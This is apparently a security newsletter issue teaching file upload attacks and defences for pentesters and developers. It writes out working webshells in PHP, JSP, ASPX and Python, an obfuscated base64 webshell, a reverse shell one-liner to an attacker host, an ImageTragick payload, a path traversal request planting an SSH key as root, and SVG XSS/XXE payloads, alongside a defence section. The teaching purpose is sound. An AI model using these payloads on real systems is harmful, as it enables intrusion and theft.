File Upload Vulnerabilities: From Filter Bypass to Full System Compromise
13 min read
November 23, 2025
🚧 Site Migration Notice
I've recently migrated this site from Ghost CMS to a new Astro-based frontend. While I've worked hard to ensure everything transferred correctly, some articles may contain formatting errors or broken elements.
If you spot any issues, I'd really appreciate it if you could let me know! Your feedback helps improve the site for everyone.

Table of contents
👋 Introduction
Hey everyone!
When I was learning web application security and grinding through CTFs (way more than I do now), file upload challenges were everywhere. Every platform had them. TryHackMe, HackTheBox, PortSwigger Labs. And honestly? I loved them.
There’s something satisfying about bypassing a filter that thinks it’s smart. Double extensions, null bytes, polyglot files, magic byte manipulation. Each technique felt like a small puzzle. Upload a webshell, get command execution, game over.
But here’s what makes file uploads so interesting: they’re not just CTF tricks. File upload vulnerabilities are one of the most common paths to RCE in real-world applications. Profile picture uploads, document submission forms, support ticket attachments. Developers implement basic checks, think they’re safe, and move on. Meanwhile, the upload directory is sitting there waiting to execute arbitrary code.
The attack surface is massive. Extension filters, MIME type validation, content checks, magic bytes, storage paths, server configuration. Every layer is an opportunity for bypass. And when you stack techniques together, even well-intentioned defenses fall apart.
The worst part? Developers often focus on preventing malicious file types but forget about where files are stored, how they’re served, or whether the web server will execute them. That’s how innocent profile picture uploads turn into full system compromise.
In this issue, we’ll cover:
- Common file upload vulnerabilities and misconfigurations
- Techniques to bypass extension, MIME type, and content filters
- Weaponizing uploads for webshells and RCE
- Path traversal and file overwrite attacks
- Polyglot files and magic byte manipulation
- Defense strategies that actually work
If you’re pentesting web apps or building upload features, this is essential knowledge.
Let’s break some filters 👇
🎯 Why File Uploads Are Dangerous
File upload functionality seems simple. User sends a file, server stores it. But that flow has countless security pitfalls:
Server-Side Code Execution: If an attacker can upload executable code (PHP, JSP, ASPX, etc.) and the server runs it, game over. Full RCE.
Stored XSS: Upload an HTML or SVG file with embedded JavaScript, and when another user views it, the script executes in their browser.
Path Traversal: Manipulate the filename to overwrite critical files like /etc/passwd, application configs, or SSH keys.
DoS via Large Files: Upload massive files to exhaust disk space or memory.
Phishing and Social Engineering: Upload malicious files disguised as legitimate documents for other users to download.
XXE and Other Parser Bugs: As we covered in Issue 22, XML-based file formats (DOCX, SVG, etc.) can carry XXE payloads.
The most common and impactful? Remote Code Execution via webshell uploads. That’s what we’ll focus on here.
🔍 Finding File Upload Vulnerabilities
Not every file upload is exploitable, but here’s where to look:
Profile Pictures and Avatars: Classic target. Often limited validation, publicly accessible storage.
Document Uploads: Resume submission forms, support ticket attachments, invoice uploads. These tend to accept various formats and may be processed server-side.
File Sharing and Collaboration Tools: Cloud storage, shared drives, wiki attachments. High-value targets because files are often executable or served with minimal restriction.
CMS and Admin Panels: WordPress, Joomla, Drupal media libraries. If you compromise an admin account, file uploads are your fast track to RCE.
API Endpoints: Mobile app image uploads, multipart form data endpoints. Sometimes these skip frontend validation entirely.
Look for:
- File upload forms (profile pics, attachments, etc.)
- Multipart form data in requests
- Endpoints that return uploaded file URLs
- Directories like
/uploads/,/media/,/files/,/static/
🧨 Bypassing Extension Filters
The most basic defense is a blacklist or whitelist of allowed file extensions. Attackers bypass these constantly.
Blacklist Bypass
If the app blocks .php, .jsp, .asp, try:
Double extensions:
shell.php.jpg
shell.jpg.php
Some parsers read the last extension, others read the first. If the server reads left to right but the validation reads right to left, you win.
Case variation:
shell.PhP
shell.pHp
If the filter is case-sensitive, this works.
Null byte injection (older systems):
shell.php%00.jpg
The null byte (%00) terminates the string in some languages, so the server sees shell.php but the filter sees shell.php.jpg.
Alternative executable extensions:
shell.php3
shell.php4
shell.php5
shell.phtml
shell.phar
Apache might execute .phtml or .php5 as PHP depending on configuration.
Add extra dots or spaces:
shell.php.
shell.php%20
shell.php....jpg
Some filesystems strip trailing dots or spaces, turning shell.php. into shell.php after validation.
Whitelist Bypass
If only .jpg, .png, .gif are allowed:
Upload a polyglot file (more on this below) that’s both a valid image and executable code.
Use allowed extensions with server misconfiguration: Upload shell.jpg but configure the server (via .htaccess if writable) to execute .jpg as PHP:
AddType application/x-httpd-php .jpg
If you can upload .htaccess files, you control execution.
Content-Type manipulation: The client sends a Content-Type header. Change it to match expectations:
Content-Type: image/jpeg
Even if the file is actually a PHP script, the server might trust the header.
🎭 Bypassing MIME Type Validation
Some apps validate the Content-Type header sent by the client. This is trivial to bypass.
Intercept the upload request with Burp Suite and modify the header:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
The server sees Content-Type: image/jpeg and allows the upload, but the file is a PHP webshell.
Key point: Never trust client-controlled headers. Always validate file content server-side.
🧬 Magic Bytes and File Signature Bypass
Smarter defenses check the file’s magic bytes (the first few bytes that identify file types). For example:
- JPEG:
FF D8 FF - PNG:
89 50 4E 47 - GIF:
47 49 46 38 - PDF:
25 50 44 46
If the app checks magic bytes, prepend them to your payload.
Create a PHP webshell disguised as a JPEG:
echo -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]); ?>' > shell.php.jpg
The file starts with FF D8 FF E0 (JPEG magic bytes), passes the check, but PHP ignores the binary junk and executes the code.
Polyglot Files: Files that are valid in multiple formats simultaneously. For example, a GIF that’s also valid JavaScript:
GIF89a/*<?php system($_GET['cmd']); ?>*/=1;
When parsed as GIF, it’s valid. When parsed as PHP, it executes. These are gold for bypassing multi-layered validation.
Tools like Mitra (polyglot file generator) and ImageTragick PoCs can help craft polyglot files.
🚀 Weaponizing File Uploads for RCE
Once you’ve bypassed filters and uploaded executable code, you need to trigger execution.
Classic Webshells
A minimal PHP webshell:
<?php system($_GET['cmd']); ?>
Upload this as shell.php, access https://target.com/uploads/shell.php?cmd=whoami, and you’ve got command execution.
One-liners for different languages:
PHP:
<?php system($_GET['c']); ?>
JSP:
<%@ page import="java.io.*" %>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("c"));
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line; while((line = br.readLine()) != null) { out.println(line); }
%>
ASPX (C#):
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + Request["c"];
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.UseShellExecute = false;
p.Start();
Response.Write(p.StandardOutput.ReadToEnd());
%>
Python CGI (if server executes .py files as CGI):
#!/usr/bin/env python3
import os, cgi
form = cgi.FieldStorage()
os.system(form.getvalue('c', ''))
Upgrading to a Reverse Shell
Once you have command execution, upgrade to an interactive reverse shell:
# On your attacker machine
nc -lvnp 4444
# Via the webshell
https://target.com/uploads/shell.php?cmd=bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Or use a more reliable reverse shell like PentestMonkey’s PHP reverse shell.
Obfuscating Webshells
If the app scans for keywords like system, exec, eval, obfuscate:
<?php
$a = 'sys'.'tem';
$a($_GET['c']);
?>
Or use base64 encoding:
<?php
eval(base64_decode('c3lzdGVtKCRfR0VUWydjJ10pOw=='));
?>
Decode that base64: system($_GET['c']);
📂 Path Traversal in File Uploads
If you can control the uploaded filename, try path traversal to overwrite critical files.
Example: Overwrite SSH authorized keys:
POST /upload HTTP/1.1
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../root/.ssh/authorized_keys"
Content-Type: text/plain
ssh-rsa AAAAB3... attacker@evil
------WebKitFormBoundary--
If the server doesn’t sanitize the filename, this writes your SSH public key to /root/.ssh/authorized_keys, giving you root SSH access.
Other targets:
/etc/passwd(if writable, rare but possible)- Application configuration files
- Cron jobs (
/etc/cron.d/) - Web server configs (
.htaccess,web.config)
Zip Slip (CVE-2018-1002200): If the app extracts uploaded ZIP files without sanitizing paths, you can include files with traversal paths:
malicious.zip
├── ../../../etc/cron.d/backdoor
When extracted, this writes to /etc/cron.d/backdoor, giving you scheduled code execution.
🖼️ Image-Based Exploits
Uploading images seems safe, right? Not always.
ImageTragick (CVE-2016-3714)
ImageMagick, a widely used image processing library, had a critical RCE vulnerability. If the app uses ImageMagick to process uploads, you can exploit it with a malicious image:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://attacker.com/shell.php|ls "-la")'
pop graphic-context
Save this as exploit.mvg, upload it, and ImageMagick executes the command.
Status: Patched in 2016 but legacy systems still vulnerable.
SVG XSS and XXE
SVG files are XML-based. You can embed JavaScript for XSS:
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>
Or XXE payloads (as covered in Issue 22):
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
If the app renders or processes SVGs server-side, you can leak files or achieve XSS.
EXIF Metadata Injection
Images contain EXIF metadata. Some apps display this metadata to users. Inject XSS payloads:
exiftool -Comment='<script>alert(1)</script>' image.jpg
If the app displays the comment field without sanitizing, you’ve got stored XSS.
🛡️ Real-World CVEs
CVE-2021-24145 (WordPress Modern Events Calendar): Arbitrary file upload vulnerability in versions before 5.16.5. Attackers could bypass validation by setting Content-Type: text/csv while uploading PHP files. Required administrator privileges but led to RCE. CVSS: 7.2 HIGH.
CVE-2020-9484 (Apache Tomcat): Deserialization of untrusted data vulnerability exploitable when PersistenceManager with FileStore is configured. Attackers with control over file names and contents on the server could achieve RCE via crafted session files. Affected Tomcat 7.0.0-7.0.103, 8.5.0-8.5.54, 9.0.0.M1-9.0.34, and 10.0.0.M1-10.0.0.M4. CVSS: 7.0 HIGH.
CVE-2019-8943 (WordPress Core): Path traversal vulnerability in the wp_crop_image() function affecting WordPress through version 5.0.3. Authenticated attackers with image cropping privileges could write files to arbitrary directories using filenames with double extensions and ../ sequences (e.g., image.jpg?/../../shell.php), leading to RCE. CVSS: 6.5 MEDIUM.
CVE-2018-1002200 (Zip Slip): Directory traversal vulnerability in plexus-archiver before version 3.6.0. Attackers could craft ZIP archives with ../ sequences in file paths, allowing file writes to arbitrary locations during extraction. Also known as “Zip Slip”, this vulnerability affected numerous Java applications using the library. CVSS: 5.5 MEDIUM.
🛠️ Tools of the Trade
Burp Suite: Essential for intercepting and modifying upload requests. Use Repeater to test different payloads.
Upload Scanner (Burp Extension): Automates testing for file upload vulnerabilities including extension, MIME type, and content validation bypasses.
Fuxploider: Automated file upload vulnerability scanner. Tests various bypass techniques and generates reports.
exiftool: Manipulate image metadata for EXIF injection attacks.
Mitra: Generate polyglot files (parasites, polymocks, crypto-polyglots) valid in multiple formats (PNG/JPEG/PDF/etc).
ImageTragick PoCs: Collection of ImageTragick exploit proof-of-concepts for CVE-2016-3714.
Webshell Collections:
- SecLists Webshells: Large collection of webshells in various languages
- PayloadsAllTheThings - File Upload: Comprehensive collection of file upload bypass techniques, payloads, and exploitation methods
🧪 Labs & Practice
PortSwigger Web Security Academy:
- Web shell upload via extension blacklist bypass
- Web shell upload via Content-Type restriction bypass
- Web shell upload via path traversal
- Web shell upload via obfuscated file extension
- Remote code execution via polyglot web shell upload
Main resource: https://portswigger.net/web-security/file-upload
TryHackMe:
- Upload Vulnerabilities: Comprehensive room covering client-side filters, MIME validation, magic number validation, and more
- Overpass 2: Includes file upload exploitation for persistence
Hack The Box:
- Magic: Medium-rated Linux box featuring SQL injection to bypass login and file upload bypass using double extensions (.php.jpg) and EXIF metadata injection to upload webshell
- Help: Medium-rated box exploiting HelpDeskZ file upload vulnerability allowing PHP reverse shell upload and execution
🔒 Defense and Detection
If you’re defending against file upload attacks, here’s what actually works:
1. Whitelist Allowed Extensions
Never use blacklists. Whitelist only the exact extensions you need:
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif'}
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
2. Validate File Content, Not Just Extension
Check magic bytes server-side using Pillow:
from PIL import Image
def validate_image(file):
try:
img = Image.open(file)
return img.format.lower() in ['png', 'jpeg', 'gif']
except Exception:
return False
3. Rename Uploaded Files
Never trust user-supplied filenames. Generate random names:
import uuid
import os
def save_file(file):
ext = file.filename.rsplit('.', 1)[1].lower()
filename = f"{uuid.uuid4()}.{ext}"
file.save(os.path.join(UPLOAD_FOLDER, filename))
4. Store Files Outside the Web Root
Don’t store uploads in directories served directly by the web server. Store them outside the web root and serve via a separate script that sets proper headers:
# Store in /var/app/uploads (not /var/www/html/uploads)
# Serve via /download/<file_id> endpoint with proper Content-Type
5. Disable Execution in Upload Directories
In Apache, add to .htaccess in upload directory:
<FilesMatch ".*">
SetHandler default-handler
</FilesMatch>
In Nginx:
location /uploads {
location ~ \.php$ {
return 403;
}
}
6. Set Proper Content-Type Headers
When serving files, set Content-Type and Content-Disposition headers to prevent execution:
return send_file(filepath,
mimetype='application/octet-stream',
as_attachment=True)
7. Scan Uploaded Files
Use antivirus or malware scanners like ClamAV to scan uploads before storing them.
8. Limit File Size
Prevent DoS via large files:
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024 # 16MB max
9. Implement Rate Limiting
Prevent abuse by limiting uploads per user/IP:
from flask_limiter import Limiter
limiter = Limiter(app, key_func=get_remote_address)
@app.route('/upload', methods=['POST'])
@limiter.limit("5 per minute")
def upload():
# handle upload
10. Monitor and Log
Log all upload attempts with filenames, extensions, sizes, and user IDs. Alert on suspicious patterns like:
- Unusual extensions
- Rapid upload attempts
- Large file sizes
- Path traversal characters in filenames
🎯 Key Takeaways
- File uploads are a high-value attack vector leading directly to RCE in many cases
- Extension filters are easily bypassed using double extensions, null bytes, case variation, and alternative extensions
- Never trust client-side validation including MIME types and Content-Type headers
- Magic byte checks can be defeated with polyglot files and prepended signatures
- Path traversal in filenames can overwrite critical system files
- Defense requires layered validation using extension whitelisting, content validation, file renaming, and storage outside web root
- Disable execution in upload directories to prevent webshells from running even if uploaded
- Image files aren’t always safe due to ImageTragick, SVG XSS/XXE, and EXIF injection
📚 Further Reading
- OWASP File Upload Cheat Sheet: Comprehensive defense guide with implementation examples
- HackTricks File Upload: Extensive collection of file upload bypass techniques and payloads
- PortSwigger File Upload Vulnerabilities: In-depth explanation with real-world examples
- OWASP Testing for File Upload: Complete testing methodology
That’s it for this week! Next issue, we’ll explore HTTP Request Smuggling, where we’ll abuse discrepancies between frontend and backend HTTP parsing to bypass security controls, poison caches, and smuggle malicious requests.
If you’re working on a web app with file uploads, take 10 minutes to review your validation logic. Make sure you’re checking file content, not just extensions. Rename files. Store them outside the web root. And for the love of security, never trust user-supplied filenames.
Thanks for reading, and happy hacking 🔐
— Ruben
Chapters
Previous Issue